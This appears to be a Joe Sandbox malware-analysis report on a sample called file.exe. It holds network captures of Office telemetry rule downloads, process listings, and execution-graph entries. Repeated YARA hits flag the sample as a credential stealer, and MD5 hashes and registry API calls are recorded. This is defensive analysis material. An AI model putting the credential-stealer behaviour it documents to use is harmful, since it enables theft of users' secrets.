2024-12-04 15:12:25 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.12	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:25 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4879dc54-201e-0096-5ac3-45ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151226Z-1746fd949bdlnsqphC1EWRurw0000000013g00000000nurs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.12	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 85a1d3f6-901e-005b-3ecd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151226Z-1746fd949bdkw94lhC1EWRxuz400000001kg000000008q7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.12	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:26 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 859f66ca-901e-005b-0ccc-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151226Z-1746fd949bd6zq92hC1EWRry48000000018000000000mptz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.12	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 72953a3b-301e-0000-41cd-45eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151227Z-1746fd949bdmv56chC1EWRypnn00000001gg00000000cwv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.12	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 1e2c2913-401e-0078-28cc-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151228Z-1746fd949bd6ztf6hC1EWRvq2s00000000z000000000h8z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.12	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151228Z-1746fd949bd7wvgbhC1EWR0rgs00000001g0000000004zuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.12	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 626f2b07-401e-0015-15d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151228Z-1746fd949bd6zq92hC1EWRry4800000001e0000000002axx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.12	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Target ID:	0
Start time:	10:10:18
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf90000
File size:	1'793'536 bytes
MD5 hash:	8EB01AB47A3558DB23EBCB5C3FD0CBA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2674431415.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2637466375.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2598046058.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2715201429.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2674453833.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:11:09
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff776010000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:11:10
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1936,i,999320680463987283,12953525220714786104,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff776010000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:11:12
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff776010000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:11:12
Start date:	04/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1980,i,14963498340611043939,10306569883163506066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff776010000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	12
Total number of Limit Nodes:	3

Executed Functions

Function 00FC71F0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00FB00D4,?,00000014,000000FF,?,?,?,?), ref: 00FC721E

Memory Dump Source

Source File: 00000000.00000002.3045375267.0000000000F91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.3045355303.0000000000F90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045375267.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045435436.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000000FE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001236000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046188868.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046355016.0000000001405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046379437.0000000001406000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00FAFF36 Relevance: .1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3045375267.0000000000F91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.3045355303.0000000000F90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045375267.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045435436.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000000FE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001236000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3045459491.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046188868.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046355016.0000000001405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3046379437.0000000001406000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437f0829ffbd9cc3eb9bf09e5f83bcd366bb2188f0311f4facf428c8ee536c65
Instruction ID: 1eea2c67fe92756b46c22465bc2a9a2f4b19a308e404c904ec2250668d59c681
Opcode Fuzzy Hash: 437f0829ffbd9cc3eb9bf09e5f83bcd366bb2188f0311f4facf428c8ee536c65
Instruction Fuzzy Hash: 7B510631604202DFE708CF29DD92B2AB7E3FF89710F59857CE94A872A5D731A855EB10

Function 06B31C4C Relevance: 4.6, APIs: 3, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?,?,55EC7977), ref: 06B356A5
RegOpenKeyA.ADVAPI32(80000002,?,?,?,55EC7977), ref: 06B356CC
GetNativeSystemInfo.KERNEL32(?,?,55EC7977), ref: 06B35723

Memory Dump Source

Source File: 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, Offset: 069A0000, based on PE: true

